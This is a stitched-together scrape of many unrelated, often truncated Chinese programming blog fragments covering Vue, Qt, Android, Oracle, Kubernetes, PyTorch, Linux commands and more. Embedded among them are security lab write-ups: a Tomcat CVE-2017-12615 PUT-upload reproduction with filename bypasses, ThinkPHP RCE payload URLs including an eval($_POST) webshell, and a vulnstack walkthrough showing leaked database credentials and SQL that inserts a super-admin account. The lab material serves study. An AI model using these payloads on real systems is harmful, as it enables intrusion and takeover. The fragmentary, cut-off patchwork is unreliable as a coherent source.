Vue.config.errorHandler = function(err, vm, info) { Vue.nextTick(() => { if (process.env.NODE_ENV === 'development') { console.group('>>>>>> 错误信息 >>>>>>') console.log(info) console.groupEnd() console.group('>>>>>> Vue 实例 >>>>>>') console.
背景 说下我以前是怎么做的,首先是会先渲染页面,然后每次都是通过id属性去获取value值,那就会出现一个情况,如果是需要在渲染之前做数据处理那这种方法就无法达到我想要的结果
view(this.id).render('跳转的页面', data).done(function () { admin.postReq({ url: '/modules/dh-commission-account/detail', data: {"id": data.userId}, dfunc: function (res) { let data = res.data; form.val('checkForm', data); } }); }) 一般这个data会在新的页面渲染,但是跳转的页面无法在新页面用js直接去拿参数
举个例子 这个是我跳转的新页面
如何这个时候弹出会是什么呢?
啥都没有,那如何解决呢 <script type="text/html" template lay-done="layui.data.sendParams(d.params)"> </script> <script> layui.use(['admin', 'form', 'laydate', 'element'], function () { var $ = layui.$ , admin = layui.admin , laydate = layui.laydate , element = layui.element , form = layui.form; layui.data.sendParams = function (params) { let doctorId = params.
当使用Qt的图形视图框架时,自定义图形类时,一般这样写
class myItem:public QGraphicsItem { public: myItem(); void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget); QRectF boundingRect() const; }; 然而有些时候,我们需要使用信号与槽,就需要增加 Q_OBJECT,这时,就会报错
error: C2039: “staticMetaObject”: 不是“QGraphicsItem”的成员
这时,我们可以这样写,继承QObject
class myItem:public QObject,public QGraphicsItem { Q_OBJECT public: myItem(); void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget); QRectF boundingRect() const; }; 编译时出现警告 Warning: Class Node implements the interface QGraphicsItem but does not list it in Q_INTERFACES. qobject_cast to QGraphicsItem will not work!
在类的声明(Q_OBJECT下面)中添加:Q_INTERFACES(QGraphicsItem)可解决该问题.
1.更改APP的名字
1):我们打开app-->manifests-->AndroidManifest.xml
更改Android:lable=""引号之中的文字即可。
在这里我们改为QQ 运行结果如下图:
在打代码时我们尽量不用手打,使用软件的提示,手打时有时软件会不认可。
2):我们打开res-->values-->string.xml
更改<string name="app_name">QQ</string>
string标签中的文字即可。
2:更改 APP的图标
把图片复制到ress-->mipmap文件夹中
drawable存放图片 mipmap存放图标
图片的格式尽量使用.png格式
当看不到扩展名时我们可以打开我的电脑点击查看把文件扩展名打上对勾
我们打开app-->manifests-->AndroidManifest.xml
同时更改 android:icon=“” 和android:roundIcon""引号之间的文字
改为我们复制的图片的名字,图片的名字为head.png,由于是在mipmap文件夹下,所以这里我们设置的名字为"@mipmap/head",这里的名字用小写字母,尽量不要有汉字。
同理都修改一下
4. 最后我们点击运行,可以看到APP的名字和图标已完成修改。
江湖路远,让我们顶峰相见。
1、停用oracle服务:进入计算机管理,在服务中,找到oracle开头的所有服务,右击选择停止
2、在开始菜单中,找到Universal Installer,运行Oracle Universal Installer,单击卸载产品
3、在产品清单窗口中,单击全部展开,除了OraDb11g_home1外,勾选其他项目,单击删除
卸载完后,再删除:OraDb11g_home1
3、按Windows徽标键和R键,打开运行窗口,输入regedit,打开注册表,依次展开HKEY_LOCAL_MACHINE\SOFTWARE,找到oracle,删除 4、依次展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services中,删除所有oracle开头的项
5、依次展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application,删除所有oracle开头的项;
6、在HKEY_CLASSES_ROOT,删除以ora开头的项
7、重启电脑,删除oracle目录,删除Oracle的安装目录app等
概念 Trie又叫字典树、前缀树,是一种数据结构。它将大量不同字符串以共享前缀的方式保存起来,形成一种树形的数据结构,由于共享字符前缀,按前缀逐级查找字符,所以检索效率极高。字典树本质上是DFA算法的一种实现。它的典型应用是文本词频统计、敏感词过滤。
举个例子
假设有一个字符串:中国人民银行,它的前缀集合为{中,中国,中国人,中国人民,中国人民银},越到后面前缀越长,对于一个有序字符串来说,我们可以简单地把每一个字符都看做后一个字符的前缀。这样,就形成了一个单链表数据结构:{中-国-人-民-银-行}。
字符串中国人民银行的结构图是:
再加一个字符串中国建设银行,两个字符串共享前缀为中、国两个字符:
再加一个上海浦发银行,你会发现没有共同的前缀了,所以我们要用一个空白节点做根节点:
这样就形成了一个树的结构,树的每一个节点都包含一个字符,一个节点可能是上一个节点的子节点和下一个节点的父节点。每一个节点都存储它的下一个节点的引用地址,我们就可以从第一个节点开始,不断寻找其子节点,从而检索出完整的字符串。
中国人民和中国人民银行都是一个完整的词语,所以需要在词语的结尾节点(民、行)做标记isEnd=true,表示到这个节点为一个完整的词语,如果不是词语则做标记isEnd=false。从输入的字符串第一个字符开始逐级检索,检索到最后一个字符节点时,如果isEnd=true,则说明该词语在字典中存在。
Java代码实现 Trie树的数据存储方式可以用HashMap也可以用双数组,本文用HashMap。
节点 节点包含的信息为:当前字符内容、所有子节点引用、是否为词语边界。由于一个节点可能有多个子节点,所以用HashMap来保存所有子节点。
package com.test.nlp; import java.util.HashMap; /** * 字典树节点 * @author administrator * 2022年8月2日 */ public class TrieNode { /** 字符*/ private char word; /** 子节点*/ private HashMap<Character, TrieNode> children; /** 是否边界*/ private boolean isEnd; /** 出现次数,用于词频统计*/ private int count; public TrieNode() { this.isEnd = false; this.count = 1; } public TrieNode(char word) { this.word = word; this.isEnd = false; this.
目录
前言
环境规划
kubeadm kubelet kubectl
安装kubeadm
master节点初始化
node节点初始化加入集群
集群网络初始化之flannel
报错
kubeadm init 报错
kubectl get nodes报错
总结
写在后面
前言 通过前面两篇文章的铺垫,
【k8s】一、基础实验环境准备
【k8s】二、containerd的安装
我们已经把搭建k8s集群所需的基础环境都构建好了,接下来,我们来对k8s进行部署,初始化一个属于我们自己的k8s集群。我们此次安装的k8s版本是1.24.3。
k8s的安装有多种方式,本次教程我们采用其中最简单的一种方式,通过kubeadm来进行安装。
环境规划 在【k8s】一、基础实验环境准备中已经将本次实验所有节点的网络规划好了
机器
IP地址
物理机
192.168.137.99
k8s-master
192.168.137.200
k8s-node1
192.168.137.201
k8s-node2
192.168.137.202
kubeadm kubelet kubectl kubeadm是一个Kubernetes的部署工具,负责执行构建一个最小化的可用集群以及将其启动等的必要基本步骤。提供kubeadm init 和 kubeadm join两个操作命令,可以让我们快速部署一个Kubernetes集群。
kubeadm是Kubernetes集群全生命周期的管理工具,可用于实现集群的部署、升级、降级及拆除。kubeadm部署Kubernetes集群是将大部分资源以pod的方式运行,例如(kube-proxy、kube-controller-manager、kube-scheduler、kube-apiserver、flannel)都是以pod方式运行。
kubectl是Kubernetes集群的命令行工具,通过kubectl能够对集群本身进行管理,并能够在集群上进行容器化应用的安装和部署。接下来我们会经常与kubectl命令打交道的
安装kubeadm master节点和所有node节点都需要执行本步骤安装。其中kubectl可以在node节点上面不安装,但是初学者的话,都安装也无妨。
1. 添加k8s的阿里云yum源
cat > /etc/yum.repos.d/kubernetes.repo << EOF [kubernetes] name=Kubernetes baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64 enabled=1 gpgcheck=0 repo_gpgcheck=0 gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg EOF 2. yum安装kubeadm kubelet kubectl
注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关!!!
理论知识
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615)
漏洞触发条件:
1.tomcat假设在windows主机上
2.将readonly设置为默认值false(也就开启了http PUT)
复现过程
1.验证漏洞是否存在
我们先抓包,看到这个是GET请求
我们就将GET请求改为PUT请求,传入一个222.jsp的文件,里面的内容为helloword
上传文件可以有一下几种形式,依据不同系统上传(扩展)
shell.jsp%20
shell.jsp::$DATA
shell.jsp/
访问222.jsp页面发现有内容(这里是Hello java的原因是我自己已经上传过一次,由于已经实操过一遍不想再次上传所以就用了第一次实操的222.jsp文件,还请见谅)
验证成功,则当我们上传的内容是jsp的一句话那么我们就可以拿下这台服务器,这里由于是自己购买的服务器就不上传一句话木马了。总体来说这个漏洞复现起来还是比较简单的。
总结:
漏洞产生的原因是由于Tomcat的配置不当,将配置文件conf/web.xml中的readonly值设为false,导致可以使用PUT方法上传文件。
影响版本:Apache Tomcat >=7.0.0,<=7.0.79。
参考文章:
Tomcat代码执行漏洞(CVE-2017-12615)_Li-D的博客-CSDN博客_cve-2017-12615
【vulhub】Tomcat任意文件上传漏洞(CVE-2017-12615)复现_樱浅沐冰的博客-CSDN博客
[CVE-2017-12615] Tomcat任意写入文件漏洞复现 - 4thrun - 博客园
CVE-2017-12615 Apache Tomcat任意文件上传漏洞 - 哔哩哔哩
W i n 10 安装 T e n s o r R T Win10安装TensorRT Win10安装TensorRT 英伟达官方TensorRT8.x下载地址 https://developer.nvidia.com/nvidia-tensorrt-8x-download 一 Pip安装TensorRT文件夹中的.whl文件 1.python文件夹 pip install tensorrt-8.4.1.5-cp36-none-win_amd64.whl 2.graphsurgeon文件夹 pip install graphsurgeon-0.4.6-py2.py3-none-any.whl 3.onnx_graphsurgeon文件夹 pip install onnx_graphsurgeon-0.3.12-py2.py3-none-any.whl -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com 4.uff文件夹 pip install uff-0.6.9-py2.py3-none-any.whl 二 验证Python版本的TensorRT是否安装成功 1.复制库文件到cuda 2.验证 import tensorrt as trt print(trt.__version__) 三 验证C++版本是否可用 1.进去samples\sampleMNIST 2.点击运行 3.查看是否在bin中生成对应exe 4.从data\mnist中拿一张图片进行测试 输入测试指令 sample_mnist.exe 0.pgm 测试成功
嵌入式Linux学习笔记 嵌入式Linux的基本框架 为BootLoader、Linux内核、文件系统。 Linux 内核和文件系统之间,什么关系?
答案:文件系统是操作系统用于明确存储设备(常见的是磁盘,也有基于NAND Flash的固态硬盘)或分区上的文件的方法和数据结构;即在存储设备上组织文件的方法。操作系统中负责管理和存储文件信息的软件机构称为文件管理系统,简称文件系统。
注意:
1.Linux必须要挂接一个文件系统
2.Linux启动到最后,等所以驱动初始化完成以后,最后一步才挂载文件系统
Linux系统编程 su/su root 进入超级用户
ls -il显示文件节点和详细信息 ls -a 显示隐藏文件 ls -i 显示文件节点
pwd 显示当前路径 ls -R 显示其子目录 ls -d 显示其目录名称
mkdir -p 建立文件夹及其上一级文件夹 mkdir -v 建立文件夹显示详细信息
touch 创建文件 cd … 回到上一级 cd /进入根目录 cd ~ 进入操作者主目录
mv 移动文件 cp -r 复制文件夹及其文件 cp -i 覆盖文件前询问用户
rm -rf 强制删除文件夹 rm 删除文件
ln 文件1 文件2 硬链接 ln -s 文件1 文件2 软链接
硬连接的优点是不同目录通过不同路径访问同一文件,节约磁盘空间,又便于数据一致性。
n维数组示例 3维数组(图片)4维数组(n个图片,即一个batchsize)5维数组 (视频,多了个时间维度) 数据操作 首先导入torch包 import torch 改变张量形状 X=x.reshape(3,4) 创建全0,全1 内部填维度,第一个维度为通道数
torch.zeros_like(Y) , 即创建一个与y维度一致的全0张量
torch.zeros((2,3,4)) torch.ones((2,3,4)) z = torch.zeros_like(Y) 多个张量连接在一起 通过cat方法
dim=0,按行合并,两个张量上下堆叠
dim=1,按列合并,两个张量左右堆叠
dim=2,
x = torch.arange(12,dtype=torch.float32).reshape((3,4)) y = torch.tensor([2.0, 1, 4, 3],[1, 2, 3, 4],[4, 3, 2, 1]) torch.cat((x,y),dim=0),torch.cat((x,y),dim=1) 逻辑运算符两元张量 得到只含false和true的张量
x == y 对张量中的所有元素求和会产生只有一个元素的张量 x.sum() 广播机制 形状不同可能通过广播机制来执行相关操作
内存问题 执行原地操作 z = torch.zeros_like(y) z[ : ] = x + y 2.如果后续计算中没有重复使用x,可以使用如下语句减少开销
x[:] = x + y x += y 转换numpy张量 如下转换后B为torch中的张量
在开发工作中,经常会碰到需要指定特定的python版本
真的是高了也不行,低了也不行。因源码的缘故,我们需要定特定的python版本
ppa更新python(推荐) 当前版本为3.10.4,我们降级到以python-3.7
增加ppa仓库
sudo add-apt-repository ppa:jonathonf/python-3.7 上述源失效可使用以下源代替
sudo add-apt-repository ppa:deadsnakes/ppa 升级apt索引,更新python
sudo apt update sudo apt install python3.7 -y 删除软链接
sudo rm -rf /usr/bin/python3 创建软链接 ln -s /usr/bin/python3.7 /usr/bin/python3 切换成功 本地更新python 从python官方网站下载相关版本包
Welcome to Python.org
解压并进入解压目录
tar -xzvf Python-3.7.14.tgz cd Python-3.7.14 创建安装的目录
mkdir -p /usr/local/python3.7.14 配置、安装
./configure --prefix=/usr/local/python3.7.14 --enable-optimizations --enable-shared make clean && make -j4 make install 删除软链接
sudo rm -rf /usr/bin/python3 创建软链接 ln -s /usr/local/python3.7.14/bin/python3.7 /usr/bin/python3 pip更新 下载pip:
vulhub-thinkphp漏洞复现 https://silentx.gitee.io/2022/09/06/thinkphp/
一.ThinkPHP 2.x 任意代码执行漏洞 1.概述 漏洞成因:ThinkPHP 2.x版本中,使用preg_replace的 /e 模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
参考链接:https://www.freebuf.com/sectool/223149.html
2.环境搭建 2.1.使用vulhub的docker环境一键部署
systemctl start docker //启动docker git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码 cd /vulhub/thinkphp/2-rce //进入2-rce目录 docker-compose up -d //启动docker环境 docker-compose ps //查看服务端口 2.2.访问http://192.168.1.242:8080/
3.复现 3.1.执行phpinfo()
http://192.168.1.242:8080/index.php?s=/index/index/name/${@phpinfo()} 3.2.构造webshell
http://192.168.1.242:8080/index.php?s=/index/index/name/${@print(eval($_POST[123456]))} 4.防护 更新至较高版本
二.ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞 1.概述 thinkphp5.0中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
参考链接:https://xz.aliyun.com/t/3570
2.环境搭建 2.1.使用vulhub的docker环境一键部署
systemctl start docker //启动docker git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码 cd /vulhub/thinkphp/5-rce //进入5-rce目录 docker-compose up -d //启动docker环境 docker-compose ps //查看服务端口 2.
目录
1.max函数和min函数的语法和用法
(1)语法
①max函数:
max(iterable, *[, default=obj, key=func]) max(arg1, arg2, *args, *[, key=func])
②min函数:
min(iterable, *[, default=obj, key=func]) min(arg1, arg2, *args, *[, key=func])
(2)用法:max()用于获取多个参数或者迭代对象元素中的最大值。
min()函数的用法和max()函数用法相反,获取的是最小值。
2.实例
(1)传入参数对象
①数值型数字求最大值
②字符串求最大值
(2)传入迭代对象
3.报错情况
(1)输入参数为空值时,报错告知参数不能为空值
(2)输入一个数值型数字时会报错:int不能为迭代对象。
1.max函数和min函数的语法和用法 (1)语法 ①max函数: max(iterable, *[, default=obj, key=func]) max(arg1, arg2, *args, *[, key=func]) ②min函数: min(iterable, *[, default=obj, key=func]) min(arg1, arg2, *args, *[, key=func]) 参数说明
iterable:迭代对象
default:指定默认对象,是指当迭代对象空(不存在)时输出默认值,可为任意目标值,比如1、‘a’等。
arg1, arg2, *args:参数值,可输入多个参数,比较必须大于2个参数进行比较否则报错。
key:其为一个函数,用来指定取最大值的方法,比如传入字典对象是哪个参数进行比较。 (2)用法:max()用于获取多个参数或者迭代对象元素中的最大值。 min()函数的用法和max()函数用法相反,获取的是最小值。 注意:数值型参数比较则返回最大值,字符串型参数比较则返回字母排序靠后的字母。
2.实例 (1)传入参数对象 ①数值型数字求最大值 max(423,5665869) #5665869 max(423.
靶场搭建 靶场下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/
下载下来之后目录是这样
环境配置:
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
注:名称及网段必须符合上述图片,进行了固定ip配置。
描述:
目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码。
设备信息:
web-centos:
双网卡:桥接+VMnet2
web1-ubantu:
单网卡:VMnet2
Windows server 2008:
单网卡:VMnet2
Windows server 2012:
单网卡:VMnet2
PC-Windows 7
单网卡:VMnet2
目标信息:
http://192.168.178.118/
注意:web-centos这一台一开始是192.168.1.110,但是本机上面不存在该网段,需要重启一下网卡,才能桥接到本机的网段
重启网卡:
/etc/init.d/network restart
外网打点 nmap进行端口扫描
也可以fscan进行扫描
mysql数据库弱口令:
mysql:192.168.178.118:3306:root 123(这个数据库存在多个账号,内容是否一样未做判断)
dirsearch进行目录扫描
phpinfo页面(可以查看禁用哪些函数)
后台登录地址
数据库配置文件(另一个账号testuser/cvcvgjASD!@)
连接成功,这里虽然找到了管理员的账号密码,但是密码是被加密的,而加密方式也并不知道(其实一般的网站后台账号的加密方式是MD5,这种的就可以直接将“123456”进行加密把他的替换掉,就可以登陆了,前提是要备份一下他原先的密码;但是这种就不能使用这种方式了)
直接添加新的管理员账户(根据joomla官方文档 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn)
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8'); 这里就添加了一个admin2/secret超级管理员账户(后台管理界面)
目录
1、什么是JWT
官方解释
通俗解释
2、JWT能做什么
授权
信息交换
3、为什么使用JWT
传统的Session认证
认证方式
认证流程
代码示例
存在的问题
基于JWT认证
认证流程
JWT优势
4、JWT的结构
令牌组成
Header
Payload Signature 5、使用JWT
引入依赖
生成token
根据令牌和签名解析数据 常见异常信息 6、封装JWT工具类 1、什么是JWT 官方解释 JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.
目录
快速排序
第k个数
归并排序
逆序对的数量
二分查找
数的范围
浮点数二分 高精度
高精度加法
高精度减法
高精度乘法(高精度x低精度)
高精度除法
前缀和与差分
前缀和
子矩阵的和
差分
差分矩阵
快速排序 思路:
确认分界点:x=q[(l+r)/2]调整范围,使得在x左边的数小于x,右边的数大于x递归处理左右两端 #include <iostream> using namespace std; const int N = 1000010; int q[N]; void quick_sort(int q[],int l,int r) { if(l>=r) return ; int i=l-1,j=r+1,x=q[l+r>>1]; while(i<j) { do i++; while(q[i]<x); //碰到大于x的停止 do j--; while(q[j]>x); //碰到小于x的停止 if(i<j) swap(q[i],q[j]); } //最终使得在x左边的数小于x,右边的数大于x quick_sort(q,l,j); //对左区间进行处理 quick_sort(q,j+1,r); } int main() { int n; scanf("%d", &n); for (int i = 0; i < n; i ++ ) scanf("
linux统计日志文件中IP出现的次数,显示次数最多的前十 grep -i -o -E "([0-9]{1,3}\.){3}[0-9]{1,3}" test.top.log | sort -n | uniq -c | sort -nr | head -10 # 文件中每行以ip 开头的文件,也可以用下边的 cat test.top.log |cut -d ' ' -f 1 | sort |uniq -c | sort -nr | awk '{print $0 }' | head -n 10 # 参数详情: # grep命令文本搜索 # -E:使用正则匹配 # -o:只显示匹配的部分 # -i:忽略大小写 # # sort -nr #(-n)数值排序 并(-r)倒序排序 # uniq -c #去重并显示重复次数 # head -10 #命令显示前10行 # cat 命令用于连接文件并打印到标准输出设备上。 # cut 命令用于显示每行从开头算起 num1 到 num2 的文字。 # -b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。 # -c :以字符为单位进行分割。 # -d :自定义分隔符,默认为制表符。 # -f :与-d一起使用,指定显示哪个区域。 # -n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的范围之内,该字符将被写出;否则,该字符将被排除 # awk 是一种处理文本文件的语言,是一个强大的文本分析工具
# 检查是否已经安装:(相关路径空 表示没有安装) whereis nodejs whereis npm # 安装
# 下载安装包 (http://nodejs.cn/download/)Linux 二进制文件 (x64) #先进入要安装目录 cd /usr/local #下载 node-v16.17.0-linux-x64.tar.xz wget https://npmmirror.com/mirrors/node/v16.17.0/node-v16.17.0-linux-x64.tar.xz; # 解压 tar -xvf node-v16.17.0-linux-x64.tar.xz # 改下名 mv node-v16.17.0-linux-x64 nodejs # 加一下到/usr/local/bin/的软链 ln -s /usr/local/nodejs/bin/node /usr/local/bin/node ln -s /usr/local/nodejs/bin/npm /usr/local/bin/npm ln -s /usr/local/nodejs/bin/npx /usr/local/bin/npx ln -s /usr/local/nodejs/bin/corepack /usr/local/bin/corepack # 检查
# 完成 检查安装 node -v npm -v # 查看配置 npm config ls -l
给button设置了background的属性却显示不出来
1.在图片导入时选错位置,应该选择第一个位置,如果选了第二个图片后面会有(v24)【如下图】就有可能加载不出来。
新版引入drawable里面,如果有drawable-hipi文件夹就导入到这个里面。
标题 选择第一个点ok
默认就行,也可以更改名字,图片选择png格式。
如果之前图片按钮是后面有(v24)显示不出来,删掉图片重新放入即可。
2.图片位置没放错,代码也没有错误,按钮的背景图片还是没有显示
如图:
我们可以打开下面这个文件
点击进入,将以下代码更改一下。
<style name="Theme.MyApp" parent="Theme.MaterialComponents.DayNight.DarkActionBar"> 只需在其后添加.Bridge即可.
最后我们点击运行,可以看到运行成功,图片可以显示出来了! 江湖路远,让我们顶峰相见!
查看docker中的mysql版本,查看docker中容器,查看mysql版本 # 查看docker中容器 (NAMES) docker ps # CONTAINER ID .... NAMES # a00000000000 .... mysql8 # 进入mysql容器 docker exec -it mysql8 bash # 登录mysql,输入账号回车填写密码登录 mysql -uroot -p # Server version: 8.0.21 MySQL Community Server - GPL
接口地址 天气地址: http://www.weather.com.cn/weather/101010100.shtml
飞书api: https://open.feishu.cn/open-apis/bot/v2/hook/0d28b43b-d744-4980-8ec9-**********
代码 import json import requests as req from bs4 import BeautifulSoup city_names = ['北京', '濮阳'] city_codes = ['101010100', '101181301'] content = '' for i, city_code in enumerate(city_codes): content += '**' + city_names[i] + '** \n' data = req.get(url='http://www.weather.com.cn/weather/' + city_code + '.shtml') data.encoding = 'utf-8' html = data.text soup = BeautifulSoup(html, 'html.parser').find('ul', 't clearfix') day_list = soup.find_all('h1') wea = soup.find_all('p', 'wea') tem1 = soup.select('p.tem > span') tem2 = soup.
注意:mysql8.0及以上版本如果要设置忽略大小写,必须要在数据库初始化之前加上忽略的配置,安装完成之后再去改配置行不通,会导致无法启动
删除自带的数据库 rpm -qa |grep mysql rpm -qa |grep mariadb rpm -e --nodeps mariadb-libs-5.5.68-1.el7.x86_64 开始安装 1)、将安装包上传至服务器并解压:
tar -xvf mysql-8.0.13-linux-glibc2.12-x86_64.tar.xz 2)、将解压后的文件夹重名名为“mysql”,并将其移动到 /usr/local/src目录下面
mv mysql-8.0.13-linux-glibc2.12-x86_64 mysql mv ./mysql/ /usr/local/src/ 3)、切换目录到usr/local/src下,并使用命令创建用户组和用户
cd /usr/local/src/ groupadd mysql useradd -r -g mysql mysql 4)、为/usr/local/src/mysql/目录下所有文件授权
5)、在/usr/local/src/mysql/目录下新建一个文件夹data
mkdir data 6)、修改/usr/local/src/mysql/当前目录的用户
执行命令时可以看到本目录下所有的文件夹和文件的拥有者发生了变化(变更前拥有者是mysql,变更后拥有者是root)
命令:
chown -R root:root ./ chown -R mysql:mysql data 7)、进入support-files目录,并在该目录下新建一个文件,文件名为my-default.cnf,并赋所有权限。再把该文件复制到/etc目录下,并将文件重命名为my.cnf
创建文件:
touch my-default.cnf 赋权限:
chmod 777 ./my-default.cnf 复制文件到/etc目录下并重命名为my.cnf:
cp /usr/local/src/mysql/support-files/my-default.cnf /etc/my.cnf 8)、打开/etc/my.cnf文件,并将配置写入该文件并保存。
文件内容:
[mysqld] # Remove leading # and set to the amount of RAM for the most important data # cache in MySQL.
实验要求 ① pc1 是固定ip,pc2 、pc6自动获取
② pc机,能联通联通外网
实验步骤 1、pc1 设置静态IP 两个路由器设ip [R]INT g0/0 [R-GigabitEthernet0/0]ip ad 100.10.10.2 24 [R-GigabitEthernet0/0]INT g0/1 [R-GigabitEthernet0/1]ip ad 10.10.10.2 24 [R联通]int g0/0 [R联通-GigabitEthernet0/0]ip a 10.10.10.2 24 [R联通]int LoopBack 6 [R联通-LoopBack6]ip ad 6.6.6.6 24 2、主交换 2.1 交换机上联口 改rount 并ip [SW]in g1/0/1 [SW-GigabitEthernet1/0/1]port link-mode r [SW-GigabitEthernet1/0/1]ip a 100.10.10.1 24 2.2 交换机起vlan 并虚拟口 +ip [SW-Vlan-interface20]int vlan 1 [SW-Vlan-interface1]ip ad 192.168.10.254 24 [SW]vlan 20 [SW-vlan20]port g1/0/4 [SW-vlan20]int vlan 20 [SW-Vlan-interface20]ip ad 192.
我试着四处寻找类似的问题,但找不到类似我的问题的任何解决方案: 我使用下面的一段代码从HttpUrlConnection中读取:
public static BufferedReader getConnectionReader(HttpURLConnection con, String url)
throws Exception {
con = (HttpURLConnection) new URL(url).openConnection();
con.connect();
if (cm != null) {
cm.storeCookies(con);
}
if (con.getHeaderField(“Content-Encoding”) != null
&& con.getHeaderField(“Content-Encoding”).equalsIgnoreCase(“gzip”)) {
return new BufferedReader(new InputStreamReader(new GZIPInputStream(con.getInputStream())));
} else
return new BufferedReader(new InputStreamReader(con.getInputStream()));
}
阅读按以下方式进行:
HttpURLConnection con = null;
reader = Utils.getConnectionReader(con, “http://www.site.com/page.html”);
String line = null;
while ((line = reader.readLine()) != null) {
log.info(line);
}
有时我会遇到上述例外情况:
java.io.EOFException: Unexpected end of ZLIB input stream
本文目录
一、开发工具
二、问题描述
三、解决方案
一、开发工具 开发工具:IntelliJ IDEA
工具版本:Ultimate 2020.3
二、问题描述 使用 idea 开发工具每次打开一个已有项目时,都需要重新配置一下 maven(Maven home path 和 User settings file)。这个问题出现好久了,问题不严重,但是特别烦人。
三、解决方案 设置 Maven 路径和用户配置文件
步骤一:在idea 打开时设置
路径:Customize --> All settings -- Build, Execution, Deployment --> Build Tools --> Maven
步骤二:在打开项目时
路径 :File --> New Project Settings --> Build, Execution, Deployment --> Build Tools --> Maven
设置一下 Maven home path 和 User settings file 为自己真实电脑上的 maven 路径和配置文件。
完结!
网上可以查到很多WIN7下的驱动后台进程保护代码,而那些代码在WIN10下并不适用,故写此篇来文章来总结我在编写WIN10下后台进程保护驱动程序的过程与经验,因为源码文件结构比较杂乱,在此文章里我粘部分代码,在最后再给出完整项目的github地址。
首先说进程关闭,通常会用三种方法:
1.利用进程管理器关闭
2.打开CMD,调用taskkill指令关闭
3.调用taskkill加上-t参数,进行强行进程关闭
在代码方面与网上其他大神在win7下的进程保护驱动的代码与思路完全一致,都是调用 ObRegisterCallbacks()回调函数
OB_CALLBACK_REGISTRATION obReg; OB_OPERATION_REGISTRATION opReg; memset(&obReg, 0, sizeof(obReg)); obReg.Version = ObGetFilterVersion(); obReg.OperationRegistrationCount = 1; obReg.RegistrationContext = NULL; RtlInitUnicodeString(&obReg.Altitude, L"321000"); memset(&opReg, 0, sizeof(opReg)); //初始化结构体变量 //下面请注意这个结构体的成员字段的设置 opReg.ObjectType = PsProcessType; opReg.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; opReg.PreOperation = (POB_PRE_OPERATION_CALLBACK)&preCall; //在这里注册一个回调函数指针 obReg.OperationRegistration = &opReg; //注意这一条语句 return ObRegisterCallbacks(&obReg, &obHandle); //在这里注册回调函数 preCall回调函数定义为
OB_PREOP_CALLBACK_STATUS preCall(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION pOperationInformation) { //获取pid,这里的HANDLE保存的其实是一个进程pid HANDLE pid = PsGetProcessId((PEPROCESS)pOperationInformation->Object); char szProcName[16] = { 0 }; UNREFERENCED_PARAMETER(RegistrationContext); strcpy(szProcName, GetProcessImageNameByProcessID((ULONG)pid)); //比较字符串,返回0,则字符串相同 if (!
Cannot generate ‘Release’ into /home/jdoe/project/cmake-build-release
CMakeCache.txt is found in the project dir, only in-source generation will be performed
这里写目录标题 bind与catch的区别----------------点击事件(单击):bindtap双击事件长按事件:bindlongpress、bindlongtap长按与点击事件的执行顺序与关系 ----------------键盘输入事件:bindinput回车事件:bindconfirm输入框聚焦:bindfocus输入框失焦:bindblurvalue改变事件:bindchange---------------------触摸事件:触摸动作开始:bindtouchstart触摸动作结束:bindtouchend触摸过程移动:bindtouchmove触摸动作被打断:bindtouchcancel ----------------提交表单事件:bindsubmit重置表单事件:bindreset bind与catch的区别 bind和catch:
bind事件绑定不会阻止冒泡事件往上冒泡,简单来说,bind所绑定的事件对应会向上传递,让自己的父组件响应对应的事件。而catch事件会把对应的事件阻拦在自己这里,只有自己能够响应对应事件。、
---------------- 点击事件(单击):bindtap 双击事件 要想实现双击事件,只能通过我们写代码判断用户点击是否是双击行为。
思想:记录下用户两次点击的时间戳,两个时间戳相减如果小于300毫秒,则判断是双击事件。
.wxml代码:
<button data-time="{{lastTapTime}}" data-title="双击" bindtap="doubleClick">双击事件</button> .js代码:
